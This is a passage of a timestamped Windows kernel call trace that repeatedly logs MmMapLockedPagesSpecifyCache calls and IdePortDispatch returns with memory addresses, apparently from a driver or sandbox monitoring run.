BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c84000 [0109.078] IdePortDispatch () returned 0x103 [0109.079] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c86000 [0109.079] IdePortDispatch () returned 0x103 [0109.107] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d83000 [0109.107] IdePortDispatch () returned 0x103 [0109.117] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d87000 [0109.118] IdePortDispatch () returned 0x103 [0109.121] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8c000 [0109.121] IdePortDispatch () returned 0x103 [0109.122] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8e000 [0109.122] IdePortDispatch () returned 0x103 [0109.123] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d90000 [0109.123] IdePortDispatch () returned 0x103 [0109.123] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d92000 [0109.123] IdePortDispatch () returned 0x103 [0109.124] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d94000 [0109.124] IdePortDispatch () returned 0x103 [0109.125] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d96000 [0109.125] IdePortDispatch () returned 0x103 [0109.126] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d99000 [0109.126] IdePortDispatch () returned 0x103 [0109.126] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9b000 [0109.126] IdePortDispatch () returned 0x103 [0109.127] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9d000 [0109.127] IdePortDispatch () returned 0x103 [0109.130] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9f000 [0109.130] IdePortDispatch () returned 0x103 [0109.139] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0109.139] IdePortDispatch () returned 0x103 [0109.140] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d3000 [0109.140] IdePortDispatch () returned 0x103 [0109.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d5000 [0109.141] IdePortDispatch () returned 0x103 [0109.143] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357b000 [0109.143] IdePortDispatch () returned 0x103 [0109.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0109.144] IdePortDispatch () returned 0x103 [0109.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003583000 [0109.144] IdePortDispatch () returned 0x103 [0109.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003589000 [0109.145] IdePortDispatch () returned 0x103 [0109.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358b000 [0109.146] IdePortDispatch () returned 0x103 [0109.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358d000 [0109.146] IdePortDispatch () returned 0x103 [0109.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358f000 [0109.147] IdePortDispatch () returned 0x103 [0109.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003591000 [0109.148] IdePortDispatch () returned 0x103 [0109.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003599000 [0109.149] IdePortDispatch () returned 0x103 [0109.151] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359b000 [0109.151] IdePortDispatch () returned 0x103 [0109.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359f000 [0109.152] IdePortDispatch () returned 0x103 [0109.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a1000 [0109.153] IdePortDispatch () returned 0x103 [0109.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a3000 [0109.153] IdePortDispatch () returned 0x103 [0109.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a5000 [0109.153] IdePortDispatch () returned 0x103 [0109.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a7000 [0109.154] IdePortDispatch () returned 0x103 [0109.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a9000 [0109.155] IdePortDispatch () returned 0x103 [0109.156] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ab000 [0109.156] IdePortDispatch () returned 0x103 [0109.156] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ad000 [0109.156] IdePortDispatch () returned 0x103 [0109.157] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035af000 [0109.157] IdePortDispatch () returned 0x103 [0109.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b2000 [0109.158] IdePortDispatch () returned 0x103 [0109.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b5000 [0109.158] IdePortDispatch () returned 0x103 [0109.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b7000 [0109.159] IdePortDispatch () returned 0x103 [0109.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b9000 [0109.159] IdePortDispatch () returned 0x103 [0109.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bb000 [0109.162] IdePortDispatch () returned 0x103 [0109.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035be000 [0109.163] IdePortDispatch () returned 0x103 [0109.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0109.164] IdePortDispatch () returned 0x103 [0109.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c2000 [0109.164] IdePortDispatch () returned 0x103 [0109.165] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c4000 [0109.165] IdePortDispatch () returned 0x103 [0109.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c8000 [0109.166] IdePortDispatch () returned 0x103 [0109.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ca000 [0109.166] IdePortDispatch () returned 0x103 [0109.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cc000 [0109.166] IdePortDispatch () returned 0x103 [0109.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ce000 [0109.167] IdePortDispatch () returned 0x103 [0109.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d0000 [0109.167] IdePortDispatch () returned 0x103 [0109.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d2000 [0109.168] IdePortDispatch () returned 0x103 [0109.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d4000 [0109.168] IdePortDispatch () returned 0x103 [0109.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d6000 [0109.169] IdePortDispatch () returned 0x103 [0109.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d8000 [0109.169] IdePortDispatch () returned 0x103 [0109.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e3000 [0109.171] IdePortDispatch () returned 0x103 [0109.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e5000 [0109.171] IdePortDispatch () returned 0x103 [0109.174] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e7000 [0109.174] IdePortDispatch () returned 0x103 [0109.174] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e9000 [0109.174] IdePortDispatch () returned 0x103 [0109.174] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035eb000 [0109.174] IdePortDispatch () returned 0x103 [0109.175] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ed000 [0109.175] IdePortDispatch () returned 0x103 [0109.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000a00000 [0109.176] IdePortDispatch () returned 0x103 [0109.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0109.183] IdePortDispatch () returned 0x103 [0109.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b07000 [0109.184] IdePortDispatch () returned 0x103 [0109.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0109.229] IdePortDispatch () returned 0x103 [0109.230] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c47000 [0109.230] IdePortDispatch () returned 0x103 [0109.230] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c49000 [0109.230] IdePortDispatch () returned 0x103 [0109.231] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4c000 [0109.231] IdePortDispatch () returned 0x103 [0109.232] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4f000 [0109.232] IdePortDispatch () returned 0x103 [0109.233] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da4000 [0109.233] IdePortDispatch () returned 0x103 [0109.234] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da6000 [0109.234] IdePortDispatch () returned 0x103 [0109.235] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da9000 [0109.235] IdePortDispatch () returned 0x103 [0109.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dab000 [0109.236] IdePortDispatch () returned 0x103 [0109.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dae000 [0109.236] IdePortDispatch () returned 0x103 [0109.237] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db1000 [0109.237] IdePortDispatch () returned 0x103 [0109.241] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db3000 [0109.241] IdePortDispatch () returned 0x103 [0109.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db5000 [0109.242] IdePortDispatch () returned 0x103 [0109.243] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db7000 [0109.243] IdePortDispatch () returned 0x103 [0109.244] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db9000 [0109.244] IdePortDispatch () returned 0x103 [0109.245] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbb000 [0109.245] IdePortDispatch () returned 0x103 [0109.245] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbd000 [0109.245] IdePortDispatch () returned 0x103 [0109.246] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0109.246] IdePortDispatch () returned 0x103 [0109.247] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de1000 [0109.247] IdePortDispatch () returned 0x103 [0109.248] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de5000 [0109.248] IdePortDispatch () returned 0x103 [0109.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df6000 [0109.249] IdePortDispatch () returned 0x103 [0109.250] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfa000 [0109.250] IdePortDispatch () returned 0x103 [0109.251] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfc000 [0109.251] IdePortDispatch () returned 0x103 [0109.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfe000 [0109.252] IdePortDispatch () returned 0x103 [0109.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0109.252] IdePortDispatch () returned 0x103 [0109.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003424000 [0109.253] IdePortDispatch () returned 0x103 [0109.254] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003427000 [0109.254] IdePortDispatch () returned 0x103 [0109.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003429000 [0109.255] IdePortDispatch () returned 0x103 [0109.256] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342b000 [0109.256] IdePortDispatch () returned 0x103 [0109.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342e000 [0109.260] IdePortDispatch () returned 0x103 [0109.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003481000 [0109.261] IdePortDispatch () returned 0x103 [0109.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e5000 [0109.263] IdePortDispatch () returned 0x103 [0109.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e7000 [0109.264] IdePortDispatch () returned 0x103 [0109.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ea000 [0109.264] IdePortDispatch () returned 0x103 [0109.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ee000 [0109.265] IdePortDispatch () returned 0x103 [0109.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000a02000 [0109.266] IdePortDispatch () returned 0x103 [0109.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0109.266] IdePortDispatch () returned 0x103 [0109.267] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9e000 [0109.267] IdePortDispatch () returned 0x103 [0109.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba1000 [0109.268] IdePortDispatch () returned 0x103 [0109.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfc000 [0109.271] IdePortDispatch () returned 0x103 [0109.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfe000 [0109.272] IdePortDispatch () returned 0x103 [0109.273] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c47000 [0109.273] IdePortDispatch () returned 0x103 [0109.274] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c49000 [0109.274] 